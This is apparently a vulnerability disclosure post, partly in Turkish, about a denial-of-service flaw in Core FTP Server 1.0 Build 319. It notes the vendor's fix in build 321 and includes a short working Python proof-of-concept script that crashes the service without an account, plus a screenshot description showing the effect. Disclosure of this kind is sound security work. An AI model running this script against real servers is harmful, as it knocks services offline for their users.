

Core FTP Server 1.0 Build 319 Denial of Service Vulnerability

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Sorunun kaynağına kabaca bakacak olursak ftp sunucusuna USER komutu gönderildikten hemen sonra bağlantı kesilirse, CPU %100'e yükselmekte ve servis kapatılana dek bu seviyede çalışmaya devam etmektedir. Bu zafiyeti istismar edebilmek için ftp sunucusu üzerinde geçerli bir hesabınızın olmasına gerek yoktur.

Not: Buil 321 ile sorun ortadan kalkmıştır.

Ok sorry about the delay, here's the build that should fix it...

<http://www.coreftp.com/test/Server.exe> (build 321)

Core FTP Support

Download: Core FTP Server 1.0 Build 319

POC Code:

```
# Core FTP Server 1.0 Build 319
# Denial of Service Vulnerability
# Note: FTP account is not required for exploitation
# http://www.mertsarica.com
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import socket, sys
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HOST = 'localhost'
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PORT = 21
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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try:
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s.connect((HOST, PORT))
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except:
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print "Connection error"
sys.exit(1)

try:
s.send('USER MS\r\n') # magic packet
s.close()
print("Very good, young padawan, but you still have much to learn...")
except:
print "Connection error"
sys.exit(1)

```

P0C Screen Shot:

The screenshot shows a Windows XP Professional virtual machine running in VMware Workstation. The main window displays a Python script named `core_dos.py` in a text editor. The script is a Denial of Service (DoS) attack tool that attempts to connect to a host at `192.168.142.129` on port 21 using a 'magic packet' and prints a message if successful.

Overlaid on the script editor is the Windows Task Manager, showing the 'Processes' tab. The list of running processes includes:

Image Name	User Name	CPU	Mem Usage
coresrvr.exe	Administrator	98	1.816 K
VMwareService.exe	SYSTEM	02	4.368 K
pythonw.exe	Administrator	00	13.104 K
taskmgr.exe	Administrator	00	2.540 K
cmd.exe	Administrator	00	1.704 K
svchost.exe	LOCAL SERVICE	00	3.712 K
wireshark.exe	Administrator	00	23.908 K
jusched.exe	Administrator	00	5.720 K
VMwareUser.exe	Administrator	00	5.276 K
VMwareTray.exe	Administrator	00	3.396 K
explorer.exe	Administrator	00	12.100 K
spoolsv.exe	SYSTEM	00	5.872 K
wuauclt.exe	Administrator	00	3.988 K
svchost.exe	LOCAL SERVICE	00	3.884 K
svchost.exe	NETWORK SERVICE	00	3.548 K
ctfmon.exe	Administrator	00	4.088 K
svchost.exe	SYSTEM	00	23.232 K
svchost.exe	NETWORK SERVICE	00	4.236 K
svchost.exe	SYSTEM	00	4.836 K

The taskbar at the bottom shows the command prompt running `C:\WINDOWS\system32\cmd.exe`. The command prompt output shows the execution of `core_dos.py` and the message "Very good padawan...".